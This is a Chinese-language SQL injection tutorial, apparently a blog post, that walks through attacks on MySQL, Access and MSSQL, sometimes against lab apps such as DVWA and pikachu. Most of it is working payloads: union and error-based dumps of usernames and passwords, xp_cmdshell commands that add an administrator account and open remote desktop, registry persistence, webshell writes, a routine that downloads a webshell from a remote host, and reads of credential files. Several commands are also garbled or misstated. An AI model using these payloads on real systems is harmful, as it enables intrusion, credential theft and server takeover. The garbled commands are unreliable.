这是一篇SQL注入文章

目录

注入原理:

注入产生的原因是接受相关参数未经处理直接带入数据库查询操作

(有数据库的地方一定有注入,注意下面的报错)

在这里插入图片描述

1、寻找注入点的方式或注入的地方可能包括。

​ 与数据库交互的页面,如:带xxx?id=xx

​ 登录、更新、注册、留言板、验证等等

​ 在数据包中可能出现的地方:http头、cookies、referer、user、agent、post提交数据包的地方等等。


2、注入点判断方法。

​ * 单引号法:即直接在浏览器地址栏中的网址链接后加上一个单引号,如果页面不能正常显示,且浏览器返回一些异常信息,则说明该链接可能存在注入漏洞。

​ * 1=1和1=2法:很多时候检测提交包含单引号的链接时,会提示非法字符,或者直接不返回任何信息,但这并不等于不存在SQL注入漏洞。此时可使用经典的“1=1和1=2”法进行检测。方法很简单,就是直接在链接地址后分别加上and 1=1和and 1=2进行提交,如果返回不同的页面,那么说明存在SQL注入漏洞。


3、注入分类。

  • 数字型:

    即不需要任何符号就能带入数据库中进行查询,其实际本质语句(or 1=1-- )

注释后面的内容可以省略

select * from admin where id=1 or 1=1--' and user='admin';
  • 字符型:

    即不再是直接的数字而是接入了字符串进行语句的查询,其实际本质(string' or 1=1 # ')注释后面的内容可以省略

select * from Admin where name='test' or 1=1#' and passWord='wad';
  • 搜索型:

    所谓搜索型注入也叫模糊查询,在SQL中的实际语句为:(%xxxx%'or 1=1 #%')

注释后面的内容可以省略

select * from admin where name like '%xxx%';
  • XX型(也叫其他型):

    也就是由于SQL语句拼接方式不同,在SQL中的实际语句为:,其本质为(xx') or 1=1 # )

select * from admin where name=('xx') or 1=1;

4、注入提交方式。

get提交:一般直接通过浏览器地址栏提交

post提交:可通过安装插件(hackbar)或Burp工具来完成

cookie提交:一般通Burp工具来完成


5、注入攻击类型与方式。

请注意请求头,任何参数都可能存在注入(取决于程序员的代码编写)

​ 主要有:union注入、insert/update注入、delete注入、http header注入、盲注(base on boolian)、盲注(base on time)、函数报错、宽字节注入、二次注入、偏移注入

union注入:

  • union操作符用于合并两个或多个SQL语句集合起来,得到联合的查询结果

    ​ ----通过order by来查询字段:依据返回结果判断字段长度

    (如:a' order by 1 #%)

    ​ ----然后通过函数可以爆出数据库对应的内容

    (如:a' union select database(),user(),version() #% )

information_schema注入:

  • information_schema数据库是MySQL系统自带的数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。大概是5.0以上才有,4.0一般没有(注入的时候这种方式最快,系统自带)

    ​ ----先找出数据库的名称。(如:vince' union select database(),user(),3#%)

    ​ ----再获取数据库的表名。(如:a' union select table_schema,table_name,3 from information_schema.tables where table_schema='表名'#)

    ​ ----再获取数据库字段名。(如:k' union select table_name,column_name,3 from information_schema.columns where table_name='users' #%)

    ​ ----最后获取字段内容。(如:kobe' union select username ,password,3 from users#%)

基于函数报错注入:

  • 一般来说是有两类即基于updatexml()注入和extractvalue()注入,而像我们常见的select/insert/update/delete注入都可以使用报错方式来获取信息也都属于updatexml()注入一类。在这里插入图片描述

​ ----产生的要求:后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端

​ ----updatexml():函数是MYSQL对XML文档数据进行查询和修改的XPATH函数.

​ 规则:UPDATEXML (XML_document, XPath_string, new_value);

​ 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc

​ 第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。

​ 第三个参数:new_value,String格式,替换查找到的符合条件的数据

​ ----extractvalue() :函数也是MYSQL对XML文档数据进行查询的XPATH函数

​ ----floor():MYSQL中用来取整的函数.

​ ----实战举例:

​ 爆数据库版本信息:k' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) #

​ 爆数据库当前用户:k' and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)#

​ 爆数据库:k' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) #

​ 爆表:k'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu')),0)# 但是反馈回的错误表示只能显示一行,所以采用limit来一行一行显示

​ k' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu'limit 0,1)),0)#更改limit后面的数字limit 0完成表名遍历

​ 爆字段:k' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 2,1)),0)#

​ 爆字段内容:k' and updatexml(1,concat(0x7e,(select password from users limit 0,1)),0)#(返回结果为连接参数产生的字符串。如有任何一个参数为NULL ,则返回值为 NULL。通过查询@@version,返回版本。然后CONCAT将其字符串化。因为UPDATEXML第二个参数需要Xpath格式的字符串,所以不符合要求,然后报错。)

insert注入:

  • 就是前端注册的信息最终会被后台通过insert这个操作插入数据库,后台在接受前端的注册数据时没有做防SQL注入的处理,导致前端的输入可以直接拼接SQL到后端的insert相关内容中,导致了insert注入。

    ​ 例子:

    oldboy'or updatexml(1,concat(0x7e,(命令)),0) or'

    ​ 爆表名:oldboy'or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0) or'

    ​ 爆列名:' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 2,1)),0) or'

    ​ 爆内容:

    ' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or' 等同
    ' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or '1'='1''
    

update注入:

  • 与insert注入的方法大体相同,区别在于update用于用户登陆端,insert用于用于用户注册端。一般登录网站前台或后台更新用户信息的地方,填写用户需要修改相关信息,通过Burp抓包在用户名输入相关payload,格式如下:

    ​ ' or updatexml(0,concat(0x7e,(database())),0) or'

delete注入:

  • 一般应用于前后端发贴、留言、用户等相关删除操作,点击删除按钮时可通过Brup Suite抓包,对数据包相关delete参数进行注入,格式如下:

    delete from message where id=56 or updatexml(2,concat(0x7e,(database())),0)

Http Header注入:

  • 即登录的GET数据包的User-Agent中存在注入,验证的方法就像删除User-Agent的信息,然后一个单引号判断是否回显数据库报错,如果保存那么就存在注入,注入语句如:

    ​ Mozilla' or updatexml(1,concat(0x7e,database ()),0) or '

Cookie注入:

  • Cookie是网站为了识别用户身份来跟踪会话的,虽然Cookie是由后端生成的,但每次页面跳转,后端都回对前端的Cookie的信息进行验证,但如果后端获取Cookie后放在数据库中进行拼接,那么这也将是一个SQL注入点。(也就是程序员开发的时候将cookie也保存在了数据库中),那么方法:在注入点后面加入一个单引号观察是否mysql语法保存,如果报错,那么就存在注入点,语法如下:

    ​ 'and updatexml (1,concat(0x7e,database()),0)#

SQL盲注:

在我们的注入语句被带入数据库查询但却什么都没有返回的情况我们该怎么办?例如应用程序就会返回一个“通用的”的页面,或者重定向一个通用页面(可能为网站首页)。这时,我们之前学习的SQL注入办法就无法使用了。

盲注,即在SQL注入过程中,SQL语句执行选择后,选择的数据不能回显到前端,我们需要使用一些特殊的方法进行判断或尝试,这个过程称为盲注。

1、基于布尔型

  • 情景模式:采用and的方法通过返回正确或错误来构造语句注入发现这条思路已经不再适用,那么输入语句select ascii(substr(database(),1,1))>xx;通过对比ascii码的长度,判断出数据库表名的第一个字符。

    注:substr()函数

substr(string,start,length)

string(必需)规定要返回其中一部分的字符串。start(必需)规定在字符串的何处开始。length(可选)规定被返回字符串的长度。

  • 构造语句,如果返回1,那么就会爆出选择的信息,返回0,就会返回 您输入的username不存在! 实例:vince' and ascii(substr(database(),1,1))=112#

  • 通过这个方法,就能得到后台数据库的名称的第一个字符的ascii码。同之前的办法,我们也可以获得information_schema.tables里的数据在这里插入图片描述

  • 在这里插入图片描述

2、基于时间型

  • 情景模式:当布尔盲注不再适用,那么可通过发现后端的执行时间来进行注入,如:
vince' and sleep(x)#

主要是以布尔报错为模板,拼接字符和时间构成语句,其基于时间响应的变化来判断字符是什么。

  • 基于时间的延迟,构造一个拼接语句:vince' and if(substr(database(),1,1)='X' (猜测点)',sleep(10),null#,输入后,如果猜测真确,那么就会响应10秒,如果错误会立刻返回错误。

  • 输入:vince' and if(substr(database(),1,1)='p',sleep(10),null)#,再web控制台下,判断出database的表名的一个字符为p。

    基于时间盲注的一般思路是延迟注入,说白了就是利用sleep()或benchmark()等函数让mysql执行时间变长并结合判断条件语句if(expr1,expr2,expr3),然后通过页面的响应时间长短来判断语句返回的值是TRUE还是False,从而猜解一些未知的字段。

    注入流程(以获取数据库版本信息为例):

    1 确定注入点及注入类型

    2 使用if判断语句,猜测version()的长度并用sleep函数作为判断依据

    3 重复步骤2直至获取真正长度

    4 使用if判断语句,猜测version()的第一个字符的ascii码并使用sleep函数作为判断依据构造注入语句,

    5 重复步骤4,直至获取全部长度的版本字符的ascii码

3、基于报错型

宽字节注入:

说明:当我们把php.ini文件里面的magic_quotes_gqc参数设为ON时,所有的'(单引号),"(双引号),(反斜杠)和null字符都会被自动加上一个反斜杠进行转义。还有很多函数有类似的作用如:addslashes()、mysql_escape_string()、mysql_real_escape_string()等,另外还有parse_str()后的变量也受magic_quotes_gpc的影响。目前大多数的主机都打开了这个选项,并且很多程序员也注意使用上面那些函数去过滤变量。

原理解释:

其中\的URL编码是 %5C ,当我们在单引号前面加上%df的时候,最终就会变成 運',如果程序的默认字符集是GBK等宽字节字符集,则MYSQL用GBK的编码时,会认为 %df 是一个宽字符,也就是運,也就是说:%df\’ = %df%5c%27=縗’,有了单引号就好注入了。

' =======>'单引号转义后占两个字节,所以我们需要通过繁体字%df构造两个字节,最终用運干掉了\,也就是说被運占领了\ 所以最后在页面也不会显示出来.

小提示: 数字和字母占一个字节,汉字占两个字节。

  • 总结:即如果存在字符过滤,那么就可以考虑在注入语句加入之前添加一个%df用来占位,使我们的单引号能够继续有效。

  • 注意:宽字节空格、#如果被URL编码了,可能造成不能成功。所以最好是放在抓包工具中进行。

  • 哪些地方没有魔术引号的保护?

    (1) $_SERVER 变量

    PHP5的$_SERVER变量缺少magic_quotes_gqc的保护,导致近年来Forwarded-For的漏洞猛爆,所以很多程序员考虑过滤X-Forwarded-For,但是其它的变量呢?

    (2)getenv()得到的变量(使用类似$_SERVER 变量)

    (3)$HTTP_RAW_POST_DATA与PHP输入、输出流

6、Access数据库注入

SQL Server有一些系统变量和系统表,如果服务器IIS提示没关闭,并且SQL Server返回错误提示的话,可以直接从出错信息中获取判断数据库的类型。

Access数据库的扩展名为.mdb但有些开发人员也会将其改为.asp扩展名

1、爆出数据库类型

1.1 内置变量爆数据库类型

“User”是SQL Server的一个内置变量,它的值是当前连接的用户名,其变量类型为“nvarchar"字符型。通过提交查询该变量,根据返回的出错信息即可得知数据库类型。方法是在注入点之后提交如下语句。

xxx' and user>0 #--

该查询语句会将user对应的nvarchar型值与int数字型的0进行对比,两个数据类型不一致,因此会返回出错信息。

1.2 内置数据表爆数据库类型

如果服务器IIS不允许返回错误提示,通常可以通过数据库内置的系统数据表来进行判断。在注入点后提交如下查询语句。

and (select count(*) from sysobjects)>=0 #--

and (select count(*) from msysobjects)>=0#--

Access存在系统表[msysobjects],不存在“sysobjects”表。因此如果数据库采用的是Access,会返回如下提示错误信息

2、猜数据库表名

可在注入点后提交如下语句进行查询。

and exists(select * from 数据库表名 )

或者

and (select count(*) from 数据库表名 )>=0

上面的语句是判断数据库中是否存在指定数据库表名。如果页面返回出错,那么可更换其他常见数据库表名继续进行查询。

在这里插入图片描述
在这里插入图片描述

3、猜字段名及字段长度

可在注入点后提交如下语句查询。

and exists(select 字段名 from 数据库表名 )

或者

and (select count(字段名) from 数据库表名 )>=0

如果存在此字段名,返回页面正常,否则可更换字段名继续进行猜测。

猜解字段长度,可提交如下查询语句。

当提交>n-1时正常,而提交到>n时返回出错,那么说明字段长度为n。

and (select top 1 len(字段名) from 数据库表名 )>1
and (select top 1 len(字段名) from 数据库表名 )>2
and (select top 1 len(字段名) from 数据库表名 )>n-1
and (select top 1 len(字段名) from 数据库表名 )>n

当提交>n-1时正常,而提交到>n时返回出错,那么说明字段长度为n。

4、猜字段值

猜字段的ascii值,可在注入点后提交如下查询语句。

and (select top 1 asc(mid(字段名,1,1)) from 数据库表名 )>0
and (select top 1 asc(mid(字段名,1,1)) from 数据库表名 )>1
and (select top 1 asc(mid(字段名,1,1)) from 数据库表名 )>n-1
and (select top 1 asc(mid(字段名,1,1)) from 数据库表名 )>n

当提交>n-I时正常,而提交到>n时返回出错,那么说明字段值的ASCII码为n。反查ASCII码对应的字符,就可得到字段值的第一位字符。再继续提交如下查询。

and (select top 1 asc(mid(字段名,2,1)) from 数据库表名 )>0

用与上面相同的方法,可得到第二位字符。再继续进行查询,直接猜解出字段的所有字符值为止。

7、SQL注入中的高级查询——order by与union select使用

ASCII码猜解法很浪费时间,下面介绍一种高效率的方法一一order by与union select联合查询,可以快速地获得字段长度及字段内容。这种查询方法,不仅可以利用在Access数据库猜解中,必须掌握的方法。同样也可以利用在其他类型数据库的注入猜解中,是一种非常重要,而且必须掌握的方法。

  • order by猜字段数目

    order by n
    

    如果n-1时返回正常,n时返回错误,那么说明字段数目为n

  • union select爆字段内容

    得到字段长度后,就可利用union select查询获得字段内容了。
    and 1=2 union select1, 2, 3...., n from 表名
    执行上面的查询时,在页面中会返回数字,修改查询语句中的数字为字段名,例如提交如下代码。
    and 1=2 union select1, 字段1, 字段2...., n from 表名
    在页面中就会返回字段内容,不必一个一个进行猜解了。
    
  • union select查询攻击测试

    and 1=2 union select 1,user_name,password,4,5,6,7 from administrator
    
    在页面返回信息中,立即获得了user_name和password字段的值
    

跨库查询注入

设a和b两个站点在同一服务器上面,但服务器上面安装了安全狗、Waf这样的安全软件,现在我们要对a站点进行攻击,但是没发现什么大漏洞,只找到网站数据库路径,对数据库下载发现下载不了。这个时候我发现b站点有注入点。直接用

http://192.168.1.106:901/news_view.asp?id=14 UNION SELECT 1,adminpassword,username,4,5,6,7 from [C:\wwwtest\2AspCMS\AspCms_data\data.asp].Aspcms_Admins

8、MsSQL数据库高级查询所带来的注入威胁

对MsSQL的注入,可采用与Access注入相同的原理和方法,但足利用MsSQL的特性,可以直接实施危害性极大的攻击,或者使用一些高级查询语句,快速得到表名和字段名等数据内容。

mssql也是微软的

1.1 MsSQl注入点的基本检测

在进行MsSQL注入点攻击时,首先要对MsSQL注入点进行一下基本的注入检测,以确定后面的攻击实施方案。

1.2 注入点类型的判断

首先,判断是否是MsSQL注入点,可提交如下查询.

and exists (select * from sysobjects)

页面返回正常,则说明为MsSQL注入点。

1.3 注入点权限判断

再检测一下当前用户的数据库操作权限,提交如下查询

and 1=(select IS_SRVROLEMEMBER('sysadmin'))

and 1=(select is_srvrolemember('db_owner'))

and 1=(select is_srvrolemember('public'))

如果上面的第一条查询返回正常页面,则说明当前数据库用户具有sa权限,可直接利用扩展存储进行攻击。

sa为数据库用户中最高权限,而且默认也是系统权限,有了系统权限,对服务器安全威胁是相当高的。如果数据库与Web服务器是同一个服务器,默认情况下攻击者就可以通过MsSQL自带的存储过程对整个服务器进行控制。

如果页面返回出错,则说明不具备sa权限,可用另外两条语句判断其权限。如果权限不足,可通过注入点猜解数据库内容获得管理员账号。

DB_OENER权限的话,我们可以找到WEB的路径,然后用备份的方式得到webshell,有时也可以对注册表进行操作。PUBLIC权限的话,又要面对表和列了,不过MSSQL比ACCESS的“猜”表方便许多,这里是“暴”表,使目标直接暴出来。

1.4 MsSQL返回信息判断

再提交如下查询。

and @@version>0

从页面返回的错误信息中,可以得到数据库版本信息。如果页面出错,但未返回可利用的信息,则说明MsSQL关闭了错误信息提示,在猜解数据库内容时,就不能用爆库的方法了,只能使用union select联合查询或盲注入攻击方法。

此外,还可以进行如下查询检测,以获得更多的关于MsSQL注入点的信息。

;declare @d int // 判断MsSQL支持多行语句查询

and (select count (1) from [sysobjects])>=0 //是否支持子查询

and user>O        //获取当前数据库用户名

and db_name>0       //获取当前数据库名称

and l=convert (int,db_name ()) 或 1=(select db_name ()) //当前数据库名

and 1=(select @@servername)          //本地服务名

and 1=(Select HAS_DBACCESS ('master'))    //判断是否有库读取权限

9、利用MsSQL扩展存储注入攻击

扩展存储过程是MsSQL提供的特殊功能。所谓“扩展存储过程”,其实就是一个普通的Windows系统DLL文件,按照某种规则实现了某些函数功能.MsSQL利用扩展存储可以实现许多强大的功能,包括对系统进行操作.利用这个特性,在实施MsSQL注入攻击时,可以更容易地对系统进行控制。

检测与恢复扩展存储

提交如下查询进行检测。

and 1=(Select count(*) FROM master. dbo.sysobjects Where xtype ='X' AND name = 'xp_cmdshell')

可查看xp_cmdshell扩展存储过程是否被删除。

and 1=(Select count(*) FROM master. dbo.sysobjects Where name = 'xp_regread')

可查看xp_regread扩展存储过程是否被删除。

如果扩展存储被删除,可执行如下查询进行恢复。

;exec sp_dropextendedproc 'xp_cmdshell'

上面这条查询语句,是在恢复前先删除xp_cmdshell,以后再在后面重新进行创建,然后执行如下查询。

;exec sp_dropextendedproc ‘xp_cmdshell’ ,’xplog70.dll’

该语句是利用系统中默认的“xplog70.dll”文件,自动恢复xp_cmdshell

如果恢复不成功,说明该文件被改名或删除,可以上传一个“xplog70.dll”文件,自定义路径进行恢复。例如,执行如下查询语句。

;exec sp_dropextendedproc ‘xp_cmdshell’,’c:\xplog70.dll’

攻击中最常利用的扩展存储

在SQL注入攻击过程中,最常利用到的扩展存储有如下几个。

xp_cmdshell—利用此存储过程可以直接执行系统命令。

xp_regread—利用此存储过程可以进行注册表读取。

xp_regwrit一利用此存储过程可以写入注册表。

xp_dirtre一利用此存储过程可以进行列目录操作。

xp_enumds—利用此存储过程可以进行ODBC连接。

xp_loginconfig-利用此存储过程可以配置服务器安全模式信息。

xp_makecab一一利用此存储过程可以创建压缩卷。

xp_ntsec_enumdomains-利用此存储过程可以查看domain信息。

xp_terminate_jroces一利用此存储过程可以查看终端进程,给出一个进程PID.

结合上面的这些扩展存储,通过提交精心构造的查询语句,可利用扩展存储的强大功能进行攻击。

SA权限下扩展存储攻击利用方法

1.xp_cmdshell扩展执行任意命令

利用xp_cmdshell可执行命令,例如提交如下查询,可查看服务器C盘目录。

;exec master..xp_cmdshell 'dir c:\'

最常见的利用方法是直接添加管理员账号,利用远程终端进行登录控制。

;exec master..xp_cmdshell 'net user test/add'

exec master..xp_cmdshell 'net locaigroup administrators test/add'

执行上面的查询,即可添加一个用户名和密码都为test的管理员账号。然后可以利用命令打开3389远程终端连接,并修改终端连接端口号。

;exec master..xp_cmdshell 'sc config termservice start = auto'

;exec master..xp_cmdshell 'net start termservice'

;exec master..xp_cmdshell 'reg add 

"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server"/v 

fDenyTSConnections /t REG_DWORD /D 0X0 /F' //允许外部连接

;exec master..xp_cmdshell 'reg add "

HKEY_LOCAL_MACHINE\SYSTEN\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp"/v PortNumber /t REG_DWORD' //改端口到80

事实上,只要可以执行系统命令,几乎任意的攻击操作都可在此基础上实现进行。

2.xp_regwrite操作注册表与开启沙盒模式

在sa权限下可以调用xp_regwrite写入注册表,查询语句如下。

;xp_regwrite'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentversion\run','black','REG_SZ','net user test test /add'

这里是写入注册表启动项,系统启动后就会执行“net user test westone”命令,从而在服务器上添加一个test账户。当服务器重新启动登录时,就会自动执行命令添加指定的账户。

还可以利用xp_regwrite来开启沙盒模式,从而执行系统命令。

首先开启沙盒模式,在注入点处提交如下查询。

execmaster..xp regwrite 'HKEY_LOCAL_MACHINE','SOFTNARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG DWORD',1

然后利用jet.oledb执行如下系统命令。

select * from

openrowset('microsoft.jet.oledb.4.O',';database=c:\windows\system32\ias\ias.mdb','select shell("net user test test /add")')

注意,如果注入点的参数是integer数字型,就可指定“ias.mdb”数据库;如果是string字符型,则可指定连接dnary.mdb.如果是Windows 2000系统,数据库的路径应该指定为:"x:\winnt\system32\ias\ias.mdb"

3.利用sp_makewebtask写入一句话木马

sa权限可以通过sp_makewebtask,创建一项生成HTML文档的任务,该文档包含执行过的查询返回的数据。在入侵测试的过程中,可以利用sp_makewebtask扩展存储来将一句话木马写入到服务器磁盘中的Web目录下,从而获得对服务器的控制权限。

在写入一句话木马前,首先需要将一句话木马转换成URL格式。然后执行如下查询。

exec sp_makewebtask 'c:\inetpub\wwwroot\yjh.asp','select'' %3C%25%65%78%65%63%75%74%65 %72%65%71%75%65%73%74%28%22%76%61%6C%75%65%22%29%25%3E'''--

4.利用sp_oacreate存储远程下载文件

sa权限下还可以调用sp_oacreate存储过程来完成更多功能,例如远程下载文件到服务器上,从而间接获得一个WebShell.

这里可以将一个WebShell文件上传到某个网站空间中,假设文件链接地址如下。

http://www.test.com/teat.txt

在注入点处提交如下查询。

DECLARE @B varbinary(8000),@hr int,

@http INT,@down INT EXEC sp_oacreate

(Microsoft.XMLHTTP],@http output EXEC

@hr = sp_oamethod @http,[Open],null,[GET],

[http://www.test.com/test.txt],O EXEC @hr = sp_oamethod @http,[Send],null EXEC @hr=sp_

OAGetProperty @http,[responseBody],@B output EXEC @hr=sp_oacreate [ADODB.Stream],@down

output EXEC @hr=sp_OAGetProperty @down, [Type],1 EXEC @hr=sp OASetProperty @down,[mode],3

EXEC @hr=sp_oamethod @down,[Open],null EXEC @hr=sp_oamethod @down,[Write],null,@B EXEC

[hr=so_oamethod @down,[SaveToFile].null.(c:\inetpub\wwwroot\WebShell.asp],l -

即可下载文件“http://www.test.con/test.txt”的内容到

“c:\inetpub\wwwroot\WebShell.asp"成功写入一个WebShell.

5.sp_addlogin扩展管理数据库用户

如果要添加和删除一个sa权限的数据库用户,可执行如下查询。

exec master.dbo.sp_addlogin test,password

exec masterdbo.sp_addsrvrolemember test,sysadmin

6.xp_servicecontrol管理服务

要停掉或激活某个服务,可利用xp_servicecontrol扩展执行查询。

;exec master..xp_servicecontrol 'stop','schedule'

;exec master..xp_servicecontrol 'start','schedule'

;exec master..xp servicecontrol 'start','server'

此外,通过扩展存储,还可以进行差异备份写入WebShell,设置数据库允许远程连接等各种危险的操作。

dbowner权限下的扩展攻击利用

当数据库连接账户为dbowner权限时,无法直接利用扩展存储执行各种系统命令,进行攻击的过程比较烦琐。

当注入点为dbo权限时,通常首先利用xp_dirtree扩展存储列出Web目录,然后利用SQL语句创建一个临时表,插入一句话木马到临时表中。然后利用数据库备份语句,将数据库备份到Web目录并保存为ASP格式的文件,即可得到一个一句话木马后门。最后利用一句话木马客户端连接后门,得到WebShell后就可以控制整个服务器了。

(sa权限能够恢复xp_cmdshell执行系统命令,而dbowner权限执行不了操作系统命令)

(如果是dbowner权限,

那么需要找出网站路径,方式:找出一个文件,通过找出的文件索引列出目录路径,

将一句话写入到网站的目录路径下(差异备份情况:可能出问题),

然后连接后执行系统命令

1.判断数据库用户权限

首先,需要判断当前数据库用户是否为db_owner权限。

在注入点后执行如下查询。

and 1=(SELECT IS_MEMBER('db_owner'));--

如果页面返回正常,说明的确是db_owner权限

2.搜索Web目录

当Web服务器与数据库在同一服务器主机上时,就可以备份一句话木马到Web目录了。但是在备份一句话木马前,首先需要搜索Web目录,可通过如下几个步骤实现。

首先,执行如下查询。

;drop table black;create table temp(dir nvarchar (255), depth varchar(255),files varchar(255),ID int NOT NULL IDENTITY (1,1));--

该语句可创建一个临时表,一共4个字段,前三个字段用于存放执行存储过程xp_dirtree返回的结果,ID字段则方便查询指定内容。

然后执行如下查询。

;insert into temp(dir,depth,files) exec master.dbo.xp_dirtree 'c:',1,1--

利用xp_dirtree扩展查询,将指定目录的文件和文件夹名称插入到临时表中,这里查询的是C盘目录路径。

再执行如下查询。

and (select dir from temp where id=1)>0

语句是查询临时表中的内容,也就是指定的目录文件和文件夹名。由于不能一次性获取所有目录文件和文件夹名,因此需要更改ID的值,依次列出文件和文件夹来。

通过此方法,可以遍历所有盘符,从而找到Web目录路径。

3.获取数据库用户名

直接输入如下:

http://192.168.1.55/sqlserver/1.aspx?xxser=1 and db_name() =0--

4.写入一句话木马

找到Web目录后,就可以写入一句话木马了。

在注入点后依次执行如下语句。

http://192.168.0.102/sqlserver/1.aspx?xxser=1;alter database testdb set RECOVERY FULL;create table test_tmp(str image);backup log testdb to disk='c:\test1' with init;insert into test_tmp(str) values (0x3C2565786375746528726571756573742822636D64222929253E);backup log testdb to disk='C:\wwwtest\iis-xxser.com--wwwroot\yjh.asp';alter database testdb set RECOVERY simple

执行完毕后,就会在指定的Web目录下生成一个名为“yjh.asp”的后门文件,用一句话木马客户端连接即可得到WebShell

public权限下的扩展攻击利用

注:需要在低版本的浏览器中或者浏览器需要启动报错回显

1、获取当前网站数据库名称

and db_name()=0--

2、获取mssql所有数据库名和路径

%20and%200=(select%20top%202%20cast([name]%20as%20nvarchar(256))%2bchar(94)%2bcast([filename]%20as%20nvarchar(256))%20from%20(select%20top%202%20dbid,name,filename%20from%20[master].[dbo].[sysdatabases]%20order%20by%20[dbid])%20t%20order%20by%20[dbid]%20desc)--

3、获取当前数据库所有表名

and 0<>(select top 1 name from testdb.dbo.sysobjects where xtype=0x7500 and name not in (select top 2 name from testdb.dbo.sysobjects where xtype=0x7500))--

4、爆表名及字段名

having 1=1--
group by admin.id having 1=1--
group by admin.id,admin.name having 1=1--

5、获取字段内容

/**/and/**/(select/**/top/**/1/**/isnull(cast([id]/**/as/**/nvarchar(4000)),char(32))%2bchar(94)%2bisnull(cast([name]/**/as/**/nvarchar(4000)),char(32))%2bchar(94)%2bisnull(cast([password]/**/as/**/nvarchar(4000)),char(32))/**/from/**/[testdb]..[admin]/**/where/**/1=1/**/and/**/id/**/not/**/in/**/(select/**/top/**/0/**/id/**/from/**/[testdb]..[admin]/**/where/**/1=1/**/group/**/by/**/id))%3E0/**/and/**/1=1

10、MySQL数据库注入:

1、Mysql4和5之间的区别:

Mysql4中低版本数据库存在着字符转义与不支持语句查询的情况,因此在这个基础上进行注入攻击存在着很的大局限性,只能采用类似access的方法进行猜解查询。

1、即首先,利用order by获得当前表的字段数,再使用union select联合查询来获取想要的数据库信息。使用union select联合查询数据库时,由于不知道数据库中的表名与字段名,因此只能像Access一样直接用常见表名和字段名进行猜测判断。

MySQL 5版本由于information_schema库的存在,注入攻击相对来说方便了许多,

2、通过load_file()函数来读取脚本代码或系统敏感文件内容,进行漏洞分析或直接获取数据库连接账号、密码。

3、通过dumpfile/outfile函数导出获取WebShell。

2、mysql用户名密码存储位置

数据库最高权限用户是root 密码保存在mysql数据库的user表中,密码是采用mysql5特有的加密,通过cmd5网站进行解密或通过cain等这类专业可以对mysql hash破解.所以对数据库做安全的时候无论如何不能给网站root 权限,一定要给一个普通用户权限。

3、mysql注入语句(示例)

  • 检查注入点

'   与and 1=1 and 1=2
  • 如果报错,那么就存在注入点
  • 在这里插入图片描述
  • 字段个数判断

' order by 1,2--+&Submit=Submit#
  • 当知道有注入点时,通过order by来判断这个数据库中有几个字段(知晓有两个字段)在这里插入图片描述
  • 查看数据库用户名和版本、库名(dvwa)

'union select user(),version()--+&Submit=Submit#

当知晓有几个字段后,尝试着利用user()和version()函数直接爆出数据库用户名和版本、库名(dvwa)。

在这里插入图片描述

  • 获取mysql所有库(一时兴起)

前面获取了dvwa库,但并不满足于此,所以我们会利用函数爆出所有的数据库,而这里确实是mysql5版本的,那么就会拥有information_schema库,那么我们就通过这个库的函数来获取我们的最终目标。

'union select 1,group_concat(schema_name) from information_schema.schemata+--+&Submit=Submit#

在这里插入图片描述

  • 获取dwva库的表名(目标)

'union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()+--+&Submit=Submit #

[)]

  • 获取所有user表里面的字段

  • table_name=0x7573657273 不转成十六进制也可以

'union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273+--+&Submit=Submit#

在这里插入图片描述

  • 获取所有字段内容

'union select 1,group_concat(user_id,0x7c,first_name,0x7c,last_name,0x7c,user,0x7c,password,0x7c,avatar,0x7c) from users+--+&Submit=Submit#

在这里插入图片描述

  • 对服务器文件进行读写操作(前提条件)

1、需要知道远程目录
2、需要远程目录有写权限
3、上传目录是否有脚本执行权限
4、需要数据库开启secure_file_priv 相当于secure_file_priv的值为空,不为空不充许写入webshell (默认不开启,需要修改my.ini配置文件,添加:secure_file_priv='')当这个关键点启动了,才能执行获取webshell等操作
  • 获取web路径的方法

1、 路径记得转化为十六进制

%27%20union%20select%201,load_file(0x433A5C5C57494E444F57535C5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C)+--+&Submit=Submit #

在这里插入图片描述

2、常见WINDOWS下配置文件

c:/windows/php.ini //php配置信息
c:/windows/my.ini //MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
d:\APACHE\Apache2\conf\httpd.conf
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码

3、LUNIX/UNIX 下

/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP相关设置
/etc/sysconfig/iptables //从中得到防火墙规则策略
/etc/httpd/conf/httpd.conf // apache配置文件
/etc/rsyncd.conf //同步程序配置文件
/etc/my.cnf //mysql的配置文件
/etc/redhat-release //系统版本
/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看

  • 服务器读取文件

'union%20select%201,load_file('c:\\boot.ini')+--+&Submit=Submit#

在这里插入图片描述

  • 写webshell获取权限

'union select "<?php @eval($_POST['123']);?>",2 into outfile "C:\\phpStudy\\WWW\\123.php"+--+&Submit=Submit#

·

在这里插入图片描述

在这里插入图片描述

补充:

SQL中的特殊符号:

' 是 单引号
" 是双引号
& 是并且
||是连接符
